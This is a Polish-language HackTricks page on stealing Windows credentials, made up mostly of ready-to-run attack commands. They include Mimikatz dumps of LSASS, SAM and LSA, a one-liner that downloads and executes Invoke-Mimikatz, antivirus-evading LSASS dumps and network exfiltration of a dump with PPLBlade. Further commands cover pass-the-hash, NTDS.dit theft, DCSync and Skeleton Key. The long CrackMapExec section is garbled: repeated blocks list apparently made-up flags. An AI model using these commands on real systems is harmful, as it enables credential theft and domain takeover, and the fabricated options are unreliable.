.. | ||
credentials-mimikatz.md | ||
credentials-protections.md | ||
README.md | ||
WTS-Impersonator.md | ||
wts-impersonator.md |
Kradzież poświadczeń Windows
Naucz się hackingu AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF Sprawdź PLANY SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR do HackTricks i HackTricks Cloud repozytoriów github.
Poświadczenia Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Znajdź inne rzeczy, które Mimikatz może zrobić na tej stronie.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Dowiedz się więcej o możliwych zabezpieczeniach poświadczeń tutaj. Te zabezpieczenia mogą uniemożliwić Mimikatz wyciągnięcie niektórych poświadczeń.
Poświadczenia z Meterpreter
Użyj Credentials Plugin który stworzyłem, aby wyszukiwać hasła i hashe wewnątrz ofiary.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
Omijanie AV
Procdump + Mimikatz
Ponieważ Procdump z SysInternals jest legalnym narzędziem Microsoft, nie jest wykrywany przez Defendera.
Możesz użyć tego narzędzia do zrzutu procesu lsass, pobrania zrzutu i wyodrębnienia poświadczeń lokalnie ze zrzutu.
{% code title="Dump lsass" %}
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
{% endcode %}
{% code title="Extract credentials from the dump" %}
{% endcode %}
{% code title="Extract credentials from the dump" %}
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
{% endcode %}
Ten proces jest wykonywany automatycznie za pomocą SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Uwaga: Niektóre AV mogą wykrywać jako złośliwe użycie procdump.exe do zrzutu lsass.exe, ponieważ wykrywają ciąg "procdump.exe" i "lsass.exe". Dlatego bardziej ukryte jest przekazanie jako argument PID lsass.exe do procdump zamiast nazwy lsass.exe.
Zrzucanie lsass za pomocą comsvcs.dll
DLL o nazwie comsvcs.dll znajdujący się w C:\Windows\System32
jest odpowiedzialny za zrzucanie pamięci procesu w przypadku awarii. Ta DLL zawiera funkcję o nazwie MiniDumpW
, zaprojektowaną do wywoływania za pomocą rundll32.exe
.
Pierwsze dwa argumenty są nieistotne, ale trzeci jest podzielony na trzy komponenty. Pierwszy komponent to ID procesu do zrzutu, drugi to lokalizacja pliku zrzutu, a trzeci komponent to ściśle słowo full. Nie ma innych opcji.
Po przeanalizowaniu tych trzech komponentów, DLL angażuje się w tworzenie pliku zrzutu i przenoszenie pamięci określonego procesu do tego pliku.
Wykorzystanie comsvcs.dll jest możliwe do zrzucania procesu lsass, eliminując potrzebę przesyłania i uruchamiania procdump. Ta metoda jest szczegółowo opisana na https://en.hackndo.com/remote-lsass-dump-passwords/.
Do wykonania używa się następującego polecenia:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Możesz zautomatyzować ten proces za pomocą lsassy.
Zrzucanie lsass za pomocą Menedżera zadań
- Kliknij prawym przyciskiem myszy na Pasek zadań i wybierz Menedżer zadań
- Kliknij na Więcej szczegółów
- Wyszukaj proces "Local Security Authority Process" na karcie Procesy
- Kliknij prawym przyciskiem myszy na proces "Local Security Authority Process" i wybierz "Utwórz plik zrzutu".
Zrzucanie lsass za pomocą procdump
Procdump to podpisany przez Microsoft plik binarny, który jest częścią pakietu sysinternals.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Dumpin lsass with PPLBlade
PPLBlade to narzędzie do zrzutu chronionych procesów, które obsługuje zaciemnianie zrzutu pamięci i przesyłanie go na zdalne stacje robocze bez zapisywania na dysku.
Kluczowe funkcjonalności:
- Omijanie ochrony PPL
- Zaciemnianie plików zrzutu pamięci w celu uniknięcia mechanizmów wykrywania opartych na sygnaturach Defendera
- Przesyłanie zrzutu pamięci metodami RAW i SMB bez zapisywania na dysku (zrzut bezplikowy)
{% code overflow="wrap" %}
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
{% endcode %}
CrackMapExec
Dump SAM hashes
Zrzut haseł SAM
cme smb <target_ip> -u <username> -p <password> --sam
Dump LSA Secrets
Zrzut LSA Secrets
cme smb <target_ip> -u <username> -p <password> --lsa
Dump NTDS.dit
Zrzut NTDS.dit
cme smb <target_ip> -u <username> -p <password> --ntds
Pass-the-Hash
Pass-the-Hash
cme smb <target_ip> -u <username> -H <hash>
Pass-the-Ticket
Pass-the-Ticket
cme smb <target_ip> -k -no-pass
Over-Pass-the-Hash (Pass-the-Key)
Over-Pass-the-Hash (Pass-the-Key)
cme smb <target_ip> -u <username> -p <password> -H <hash>
Pass-the-Cache
Pass-the-Cache
cme smb <target_ip> -u <username> -p <password> --ptc
Enumerate shares
Enumeracja udziałów
cme smb <target_ip> -u <username> -p <password> --shares
Enumerate sessions
Enumeracja sesji
cme smb <target_ip> -u <username> -p <password> --sessions
Enumerate users
Enumeracja użytkowników
cme smb <target_ip> -u <username> -p <password> --users
Enumerate groups
Enumeracja grup
cme smb <target_ip> -u <username> -p <password> --groups
Enumerate logged on users
Enumeracja zalogowanych użytkowników
cme smb <target_ip> -u <username> -p <password> --loggedon
Enumerate local admins
Enumeracja lokalnych administratorów
cme smb <target_ip> -u <username> -p <password> --local-admins
Enumerate domain admins
Enumeracja administratorów domeny
cme smb <target_ip> -u <username> -p <password> --domain-admins
Enumerate password policy
Enumeracja polityki haseł
cme smb <target_ip> -u <username> -p <password> --pass-pol
Enumerate LAPS passwords
Enumeracja haseł LAPS
cme smb <target_ip> -u <username> -p <password> --laps
Enumerate GPP passwords
Enumeracja haseł GPP
cme smb <target_ip> -u <username> -p <password> --gpp
Enumerate SMB signing
Enumeracja podpisywania SMB
cme smb <target_ip> -u <username> -p <password> --signing
Enumerate SMB version
Enumeracja wersji SMB
cme smb <target_ip> -u <username> -p <password> --smbv
Enumerate SMB dialects
Enumeracja dialektów SMB
cme smb <target_ip> -u <username> -p <password> --dialects
Enumerate SMB security mode
Enumeracja trybu bezpieczeństwa SMB
cme smb <target_ip> -u <username> -p <password> --sec-mode
Enumerate SMB capabilities
Enumeracja możliwości SMB
cme smb <target_ip> -u <username> -p <password> --capabilities
Enumerate SMB OS
Enumeracja systemu operacyjnego SMB
cme smb <target_ip> -u <username> -p <password> --os
Enumerate SMB domain
Enumeracja domeny SMB
cme smb <target_ip> -u <username> -p <password> --domain
Enumerate SMB FQDN
Enumeracja FQDN SMB
cme smb <target_ip> -u <username> -p <password> --fqdn
Enumerate SMB NetBIOS
Enumeracja NetBIOS SMB
cme smb <target_ip> -u <username> -p <password> --netbios
Enumerate SMB DNS
Enumeracja DNS SMB
cme smb <target_ip> -u <username> -p <password> --dns
Enumerate SMB domain SID
Enumeracja SID domeny SMB
cme smb <target_ip> -u <username> -p <password> --domain-sid
Enumerate SMB domain SID history
Enumeracja historii SID domeny SMB
cme smb <target_ip> -u <username> -p <password> --sid-history
Enumerate SMB domain trusts
Enumeracja zaufania domeny SMB
cme smb <target_ip> -u <username> -p <password> --trusts
Enumerate SMB domain controllers
Enumeracja kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs
Enumerate SMB domain controllers FQDN
Enumeracja FQDN kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-fqdn
Enumerate SMB domain controllers NetBIOS
Enumeracja NetBIOS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-netbios
Enumerate SMB domain controllers DNS
Enumeracja DNS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-dns
Enumerate SMB domain controllers SID
Enumeracja SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid
Enumerate SMB domain controllers SID history
Enumeracja historii SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid-history
Enumerate SMB domain controllers trusts
Enumeracja zaufania kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-trusts
Enumerate SMB domain controllers capabilities
Enumeracja możliwości kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-capabilities
Enumerate SMB domain controllers OS
Enumeracja systemu operacyjnego kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-os
Enumerate SMB domain controllers domain
Enumeracja domeny kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-domain
Enumerate SMB domain controllers FQDN
Enumeracja FQDN kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-fqdn
Enumerate SMB domain controllers NetBIOS
Enumeracja NetBIOS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-netbios
Enumerate SMB domain controllers DNS
Enumeracja DNS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-dns
Enumerate SMB domain controllers SID
Enumeracja SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid
Enumerate SMB domain controllers SID history
Enumeracja historii SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid-history
Enumerate SMB domain controllers trusts
Enumeracja zaufania kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-trusts
Enumerate SMB domain controllers capabilities
Enumeracja możliwości kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-capabilities
Enumerate SMB domain controllers OS
Enumeracja systemu operacyjnego kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-os
Enumerate SMB domain controllers domain
Enumeracja domeny kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-domain
Enumerate SMB domain controllers FQDN
Enumeracja FQDN kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-fqdn
Enumerate SMB domain controllers NetBIOS
Enumeracja NetBIOS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-netbios
Enumerate SMB domain controllers DNS
Enumeracja DNS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-dns
Enumerate SMB domain controllers SID
Enumeracja SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid
Enumerate SMB domain controllers SID history
Enumeracja historii SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid-history
Enumerate SMB domain controllers trusts
Enumeracja zaufania kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-trusts
Enumerate SMB domain controllers capabilities
Enumeracja możliwości kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-capabilities
Enumerate SMB domain controllers OS
Enumeracja systemu operacyjnego kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-os
Enumerate SMB domain controllers domain
Enumeracja domeny kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-domain
Enumerate SMB domain controllers FQDN
Enumeracja FQDN kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-fqdn
Enumerate SMB domain controllers NetBIOS
Enumeracja NetBIOS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-netbios
Enumerate SMB domain controllers DNS
Enumeracja DNS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-dns
Enumerate SMB domain controllers SID
Enumeracja SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid
Enumerate SMB domain controllers SID history
Enumeracja historii SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid-history
Enumerate SMB domain controllers trusts
Enumeracja zaufania kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-trusts
Enumerate SMB domain controllers capabilities
Enumeracja możliwości kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-capabilities
Enumerate SMB domain controllers OS
Enumeracja systemu operacyjnego kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-os
Enumerate SMB domain controllers domain
Enumeracja domeny kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-domain
Enumerate SMB domain controllers FQDN
Enumeracja FQDN kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-fqdn
Enumerate SMB domain controllers NetBIOS
Enumeracja NetBIOS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-netbios
Enumerate SMB domain controllers DNS
Enumeracja DNS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-dns
Enumerate SMB domain controllers SID
Enumeracja SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid
Enumerate SMB domain controllers SID history
Enumeracja historii SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid-history
Enumerate SMB domain controllers trusts
Enumeracja zaufania kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-trusts
Enumerate SMB domain controllers capabilities
Enumeracja możliwości kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-capabilities
Enumerate SMB domain controllers OS
Enumeracja systemu operacyjnego kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-os
Enumerate SMB domain controllers domain
Enumeracja domeny kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-domain
Enumerate SMB domain controllers FQDN
Enumeracja FQDN kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-fqdn
Enumerate SMB domain controllers NetBIOS
Enumeracja NetBIOS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-netbios
Enumerate SMB domain controllers DNS
Enumeracja DNS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-dns
Enumerate SMB domain controllers SID
Enumeracja SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid
Enumerate SMB domain controllers SID history
Enumeracja historii SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid-history
Enumerate SMB domain controllers trusts
Enumeracja zaufania kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-trusts
Enumerate SMB domain controllers capabilities
Enumeracja możliwości kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-capabilities
Enumerate SMB domain controllers OS
Enumeracja systemu operacyjnego kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-os
Enumerate SMB domain controllers domain
Enumeracja domeny kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-domain
Enumerate SMB domain controllers FQDN
Enumeracja FQDN kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-fqdn
Enumerate SMB domain controllers NetBIOS
Enumeracja NetBIOS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-netbios
Enumerate SMB domain controllers DNS
Enumeracja DNS kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-dns
Enumerate SMB domain controllers SID
Enumeracja SID kontrolerów domeny SMB
cme smb <target_ip> -u <username> -p <password> --dcs-sid
Enumerate SMB domain controllers SID
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Zrzut LSA secrets
LSA (Local Security Authority) przechowuje różne poufne dane, takie jak hasła użytkowników, klucze szyfrowania i inne tajne informacje. Można je zrzucić za pomocą mimikatz
.
mimikatz # sekurlsa::logonpasswords
Dump SAM database
SAM (Security Account Manager) przechowuje hasła lokalnych kont użytkowników. Można je zrzucić za pomocą reg
i mimikatz
.
reg save hklm\sam sam
reg save hklm\system system
mimikatz # lsadump::sam /system:system /sam:sam
Dump NTDS.dit
NTDS.dit to baza danych Active Directory, która przechowuje hasła wszystkich użytkowników w domenie. Można ją zrzucić za pomocą ntdsutil
i mimikatz
.
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
copy c:\temp\Active Directory\ntds.dit .
copy c:\temp\registry\SYSTEM .
mimikatz # lsadump::dcsync /user:Administrator
Pass-the-Hash
Pass-the-Hash to technika, która pozwala na uwierzytelnienie się jako użytkownik bez znajomości jego hasła, używając jedynie wartości hash NTLM.
mimikatz # sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<hash> /run:cmd.exe
Pass-the-Ticket
Pass-the-Ticket to technika, która pozwala na uwierzytelnienie się jako użytkownik, używając biletów Kerberos.
mimikatz # kerberos::ptt <ticket.kirbi>
Over-Pass-the-Hash (Pass-the-Key)
Over-Pass-the-Hash to technika, która pozwala na uwierzytelnienie się jako użytkownik, używając klucza Kerberos.
mimikatz # sekurlsa::pth /user:Administrator /domain:example.com /aes256:<key> /run:cmd.exe
Kerberoasting
Kerberoasting to technika, która pozwala na uzyskanie hashy haseł kont usługowych z biletów Kerberos.
mimikatz # kerberos::list /export
DCSync
DCSync to technika, która pozwala na symulowanie zachowania kontrolera domeny w celu uzyskania hashy haseł użytkowników.
mimikatz # lsadump::dcsync /user:Administrator
Skeleton Key
Skeleton Key to technika, która pozwala na wstrzyknięcie uniwersalnego hasła do kontrolera domeny, umożliwiając uwierzytelnienie się jako dowolny użytkownik.
mimikatz # misc::skeleton
Mimikatz
Mimikatz to narzędzie do uzyskiwania haseł, hashy, biletów i kluczy z pamięci systemu Windows.
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Zrzut NTDS.dit z docelowego DC
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Zrzut historii haseł NTDS.dit z docelowego DC
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Pokaż atrybut pwdLastSet dla każdego konta NTDS.dit
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Stealing SAM & SYSTEM
Te pliki powinny być zlokalizowane w C:\windows\system32\config\SAM i C:\windows\system32\config\SYSTEM. Ale nie możesz ich po prostu skopiować w zwykły sposób, ponieważ są chronione.
Z Rejestru
Najłatwiejszym sposobem na kradzież tych plików jest uzyskanie kopii z rejestru:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Pobierz te pliki na swoją maszynę Kali i wyodrębnij hashe używając:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Volume Shadow Copy
Możesz wykonać kopię chronionych plików za pomocą tej usługi. Musisz być Administratorem.
Używając vssadmin
Plik binarny vssadmin jest dostępny tylko w wersjach Windows Server
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Ale możesz zrobić to samo z Powershell. To jest przykład jak skopiować plik SAM (używany dysk twardy to "C:" i jest zapisywany do C:\users\Public), ale możesz użyć tego do kopiowania dowolnego chronionego pliku:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
Invoke-NinjaCopy
Na koniec, możesz również użyć skryptu PS Invoke-NinjaCopy do wykonania kopii SAM, SYSTEM i ntds.dit.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Active Directory Credentials - NTDS.dit
Plik NTDS.dit jest znany jako serce Active Directory, zawierając kluczowe dane o obiektach użytkowników, grupach i ich członkostwach. To tutaj przechowywane są hasze haseł użytkowników domeny. Ten plik to baza danych Extensible Storage Engine (ESE) i znajduje się w %SystemRoom%/NTDS/ntds.dit.
W tej bazie danych utrzymywane są trzy główne tabele:
- Data Table: Ta tabela jest odpowiedzialna za przechowywanie szczegółów dotyczących obiektów, takich jak użytkownicy i grupy.
- Link Table: Śledzi relacje, takie jak członkostwa w grupach.
- SD Table: Deskryptory zabezpieczeń dla każdego obiektu są przechowywane tutaj, zapewniając bezpieczeństwo i kontrolę dostępu do przechowywanych obiektów.
Więcej informacji na ten temat: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows używa Ntdsa.dll do interakcji z tym plikiem, a jest on używany przez lsass.exe. Wtedy, część pliku NTDS.dit może być zlokalizowana wewnątrz pamięci lsass
(można znaleźć najnowsze dostępne dane prawdopodobnie ze względu na poprawę wydajności poprzez użycie cache).
Odszyfrowywanie haszy wewnątrz NTDS.dit
Hasz jest zaszyfrowany 3 razy:
- Odszyfruj Klucz Szyfrowania Hasła (PEK) używając BOOTKEY i RC4.
- Odszyfruj hasz używając PEK i RC4.
- Odszyfruj hasz używając DES.
PEK ma taką samą wartość na każdym kontrolerze domeny, ale jest zaszyfrowany wewnątrz pliku NTDS.dit używając BOOTKEY z pliku SYSTEM kontrolera domeny (jest różny między kontrolerami domeny). Dlatego, aby uzyskać dane uwierzytelniające z pliku NTDS.dit potrzebujesz plików NTDS.dit i SYSTEM (C:\Windows\System32\config\SYSTEM).
Kopiowanie NTDS.dit używając Ntdsutil
Dostępne od Windows Server 2008.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
Możesz również użyć triku volume shadow copy, aby skopiować plik ntds.dit. Pamiętaj, że będziesz również potrzebować kopii SYSTEM file (ponownie, zrzucić go z rejestru lub użyć triku volume shadow copy).
Wyodrębnianie hashy z NTDS.dit
Gdy już zdobędziesz pliki NTDS.dit i SYSTEM, możesz użyć narzędzi takich jak secretsdump.py, aby wyodrębnić hashe:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
Możesz również wyodrębnić je automatycznie używając ważnego użytkownika z uprawnieniami administratora domeny:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
Dla dużych plików NTDS.dit zaleca się wyodrębnienie ich za pomocą gosecretsdump.
Na koniec, możesz również użyć modułu metasploit: post/windows/gather/credentials/domain_hashdump lub mimikatz lsadump::lsa /inject
Wyodrębnianie obiektów domeny z NTDS.dit do bazy danych SQLite
Obiekty NTDS mogą być wyodrębnione do bazy danych SQLite za pomocą ntdsdotsqlite. Nie tylko sekrety są wyodrębniane, ale także całe obiekty i ich atrybuty dla dalszej ekstrakcji informacji, gdy surowy plik NTDS.dit jest już pobrany.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
SYSTEM
hive jest opcjonalny, ale pozwala na deszyfrowanie sekretów (hashe NT i LM, dodatkowe poświadczenia takie jak hasła w postaci jawnej, klucze kerberos lub zaufania, historie haseł NT i LM). Wraz z innymi informacjami, wyodrębniane są następujące dane: konta użytkowników i maszyn z ich hashami, flagi UAC, znacznik czasu ostatniego logowania i zmiany hasła, opisy kont, nazwy, UPN, SPN, grupy i członkostwa rekurencyjne, drzewo jednostek organizacyjnych i członkostwo, zaufane domeny z typami zaufania, kierunkiem i atrybutami...
Lazagne
Pobierz plik binarny z tutaj. Możesz użyć tego pliku binarnego do wyodrębniania poświadczeń z kilku programów.
lazagne.exe all
Inne narzędzia do wyciągania poświadczeń z SAM i LSASS
Windows credentials Editor (WCE)
To narzędzie może być używane do wyciągania poświadczeń z pamięci. Pobierz je z: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
Wyciąga poświadczenia z pliku SAM
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
Wyodrębnij poświadczenia z pliku SAM
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Pobierz go z: http://www.tarasco.org/security/pwdump_7 i po prostu uruchom, a hasła zostaną wyodrębnione.
Obrona
Dowiedz się więcej o ochronie poświadczeń tutaj.
Naucz się hackowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF Sprawdź PLANY SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj The PEASS Family, naszą kolekcję ekskluzywnych NFTs
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR do HackTricks i HackTricks Cloud repozytoriów github.